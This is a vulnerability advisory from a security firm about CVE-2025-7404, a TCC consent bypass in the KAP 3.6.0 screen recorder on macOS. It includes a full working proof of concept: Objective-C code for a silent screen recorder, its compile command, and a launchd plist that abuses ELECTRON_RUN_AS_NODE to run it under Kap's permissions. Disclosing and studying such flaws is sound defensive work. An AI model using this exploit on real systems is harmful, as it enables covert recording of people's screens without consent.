KAP 3.6.0 - TCC Bypass

6.9

Medium

6.9

Medium

Discovered by

Oscar Uribe

Offensive Team, Fluid Attacks

Summary

Full name

Code Injection using Electron Fuses in KAP 3.6.0 (3.6.0.1846) allowing TCC Bypass

Code name

State

Public

Release date

Aug 14, 2025

Affected product

KAP

Vendor

Wulkano

Affected version(s)

3.6.0

Vulnerability name

TCC Bypass

Remotely exploitable

Yes

CVSS v4.0 vector string

CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:L/VA:N/SC:L/SI:L/SA:N

CVSS v4.0 base score

6.9

Exploit available

Yes

CVE ID(s)

Description

KAP versions prior to Version 3.6.0 on macOS contain a misconfiguration in the Node.js environment settings that could allow code execution by utilizing the 'ELECTRON_RUN_AS_NODE' environment variable or the "--inspect" option. This allows an attacker to bypass the TCC safe mechanism and capture audio or video without user consent.

Vulnerability

A misconfiguration vulnerability in KAP (all versions prior to 3.6.0) running on macOS allows for arbitrary code execution and evasion of macOS's Transparency, Consent, and Control (TCC) mechanism. This flaw stems from the Node.js environment settings, where manipulation of the ELECTRON_RUN_AS_NODE environment variable or the use of the --inspect option can be exploited.

An attacker can leverage this misconfiguration to execute malicious code, bypassing TCC protections. This could lead to the unauthorized capture of audio or video without explicit user consent, compromising system privacy.

PoC

1. Create the file screen.m in order to have a binary to record screen.

#import <Foundation/Foundation.h>
#import <AVFoundation/AVFoundation.h>

@interface ScreenRecorder : NSObject <AVCaptureFileOutputRecordingDelegate>

@property (nonatomic, strong) AVCaptureSession *captureSession;
@property (nonatomic, strong) AVCaptureMovieFileOutput *movieFileOutput;
@property (nonatomic, strong) dispatch_queue_t sessionQueue;
@property (nonatomic, copy) NSURL *outputURL;
@property (nonatomic, assign) NSInteger durationInSeconds; // Record time

- (instancetype)initWithDuration:(NSInteger)duration outputURL:(NSURL *)url;
- (void)startRecording;
- (void)stopRecording;

@end

@implementation ScreenRecorder

- (instancetype)initWithDuration:(NSInteger)duration outputURL:(NSURL *)url {
    self = [super init];
    if (self) {
        _durationInSeconds = duration;
        _outputURL = url;
        _sessionQueue = dispatch_queue_create("screenRecordingSessionQueue", DISPATCH_QUEUE_SERIAL);
        [self setupCaptureSession];
    }
    return self;
}

- (void)setupCaptureSession {
    self.captureSession = [[AVCaptureSession alloc] init];


    // capture screen
    AVCaptureScreenInput *screenInput = [[AVCaptureScreenInput alloc] initWithDisplayID:CGMainDisplayID()];
    if (!screenInput) {
        NSLog(@"Error: can't get screenInput");
        return;
    }
    
    // fps
    screenInput.minFrameDuration = CMTimeMake(1, 30); // 30 fps
    screenInput.capturesCursor = YES; // cursor
    screenInput.capturesMouseClicks = YES; // clicks

    if ([self.captureSession canAddInput:screenInput]) {
        [self.captureSession addInput:screenInput];
    } else {
        NSLog(@"Error: can't add to screenInput");
        return;
    }

    // output
    self.movieFileOutput = [[AVCaptureMovieFileOutput alloc] init];
    
    // max time
    self.movieFileOutput.movieFragmentInterval = kCMTimeInvalid;
    
    if ([self.captureSession canAddOutput:self.movieFileOutput]) {
        [self.captureSession addOutput:self.movieFileOutput];
    } else {
        NSLog(@"Error: can't add screenInput to output file.");
        return;
    }
}

- (void)startRecording {
    dispatch_async(self.sessionQueue, ^{
        if (![self.captureSession isRunning]) {
            [self.captureSession startRunning];
            NSLog(@"Initializing");
        }

        // check old file
        if ([[NSFileManager defaultManager] fileExistsAtPath:self.outputURL.path]) {
            NSError *error = nil;
            [[NSFileManager defaultManager] removeItemAtURL:self.outputURL error:&error];
            if (error) {
                NSLog(@"Error deleting file: %@", error.localizedDescription);
            }
        }
        
        // start recording
        [self.movieFileOutput startRecordingToOutputFileURL:self.outputURL recordingDelegate:self];
        NSLog(@"recording: %@", self.outputURL.lastPathComponent);

        // dispatch timeout
        dispatch_after(dispatch_time(DISPATCH_TIME_NOW, (int64_t)(self.durationInSeconds * NSEC_PER_SEC)), self.sessionQueue, ^{
            [self stopRecording];
        });
    });
}

- (void)stopRecording {
    dispatch_async(self.sessionQueue, ^{
        if ([self.movieFileOutput isRecording]) {
            [self.movieFileOutput stopRecording];
            NSLog(@"stop recording.");
        }
    });
}

#pragma mark - AVCaptureFileOutputRecordingDelegate

// call after recorded
- (void)captureOutput:(AVCaptureFileOutput *)output didFinishRecordingToOutputFileAtURL:(NSURL *)outputFileURL fromConnections:(NSArray *)connections error:(NSError *)error {
    if (error) {
        NSLog(@"Error stopping the recording: %@", error.localizedDescription);
    } else {
        NSLog(@"Success. File saved at : %@", outputFileURL.path);
    }

    // stop after finish 
    dispatch_async(self.sessionQueue, ^{
        if ([self.captureSession isRunning]) {
            [self.captureSession stopRunning];
            NSLog(@"Recording Stopped.");
        }
    });
}

@end

// main
int main(int argc, const char * argv[]) {
    @autoreleasepool {
            // output file
                @autoreleasepool {

            // path (Adapt to the specific user)
            NSString *targetDirectory = @"/Users/<user>/Desktop/KAP_CVE";
            
            // complete path
            NSURL *outputVideoURL = [NSURL fileURLWithPath:[targetDirectory stringByAppendingPathComponent:@"screen-record.mov"]];

            // check folder
            NSFileManager *fileManager = [NSFileManager defaultManager];
            if (![fileManager fileExistsAtPath:targetDirectory]) {
                NSError *error = nil;
                [fileManager createDirectoryAtPath:targetDirectory withIntermediateDirectories:YES attributes:nil error:&error];
                if (error) {
                    NSLog(@"Error creating folder: %@", error.localizedDescription);
                    
                }
            }


            // create ScreenRecorder instance
            ScreenRecorder *recorder = [[ScreenRecorder alloc] initWithDuration:5 outputURL:outputVideoURL];

            // start recording
            [recorder startRecording];


            NSLog(@"Waiting for 5 seconds ...");
            [[NSRunLoop currentRunLoop] runUntilDate:[NSDate dateWithTimeIntervalSinceNow:6.0]]; // 5s 

            NSLog(@"Finished.");
        }
    }
    return 0;
}

2. Compile the above code with

gcc -framework Foundation -framework AVFoundation -framework CoreGraphics -framework CoreMedia screen.m -o screen

3. Create the file bypass.plist to launch the daemon.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
    <dict>
        <key>EnvironmentVariables</key>
        <dict>
            <key>ELECTRON_RUN_AS_NODE</key>
            <string>true</string>
        </dict>
        <key>Label</key>
        <string>com.kap.tcc.bypass</string>
        <key>ProgramArguments</key>
        <array>
            <string>/Applications/Kap.app/Contents/MacOS/Kap</string>
            <string>-e</string>
            <!--Replace the path_to_screen with the path to the screen binary-->
            <string>const { spawn } = require("child_process"); spawn("<path_to_screen>");</string>
        </array>
        <key>RunAtLoad</key>
        <true />
    </dict>
</plist>

4. Launch the daemon.

launchctl load bypass.plist

Evidence of Exploitation

Our security policy

We have reserved the ID CVE-2025-7404 to refer to this issue from now on.

Disclosure policy

System Information

KAP:

  • Version 3.6.0 (3.6.0.1846)

  • Operative System: macOS

References

Mitigation

There is currently no patch available for this vulnerability.

Credits

The vulnerability was discovered by Oscar Uribe from Fluid Attacks' Offensive Team.

Timeline

Vulnerability discovered

Jul 14, 2025

Vendor contacted

Jul 23, 2025

Public disclosure

Aug 14, 2025

Start your 21-day free trial

Discover the benefits of our Continuous Hacking solution, which organizations of all sizes are already enjoying.

Start your 21-day free trial

Discover the benefits of our Continuous Hacking solution, which organizations of all sizes are already enjoying.

Start your 21-day free trial

Discover the benefits of our Continuous Hacking solution, which organizations of all sizes are already enjoying.

Fluid Attacks' solutions enable organizations to identify, prioritize, and remediate vulnerabilities in their software throughout the SDLC. Supported by AI, automated tools, and pentesters, Fluid Attacks accelerates companies' risk exposure mitigation and strengthens their cybersecurity posture.

Subscribe to our newsletter

Stay updated on our upcoming events and latest blog posts, advisories and other engaging resources.

© 2025 Fluid Attacks. We hack your software.

Fluid Attacks' solutions enable organizations to identify, prioritize, and remediate vulnerabilities in their software throughout the SDLC. Supported by AI, automated tools, and pentesters, Fluid Attacks accelerates companies' risk exposure mitigation and strengthens their cybersecurity posture.

Subscribe to our newsletter

Stay updated on our upcoming events and latest blog posts, advisories and other engaging resources.

© 2025 Fluid Attacks. We hack your software.

Fluid Attacks' solutions enable organizations to identify, prioritize, and remediate vulnerabilities in their software throughout the SDLC. Supported by AI, automated tools, and pentesters, Fluid Attacks accelerates companies' risk exposure mitigation and strengthens their cybersecurity posture.

Subscribe to our newsletter

Stay updated on our upcoming events and latest blog posts, advisories and other engaging resources.

© 2025 Fluid Attacks. We hack your software.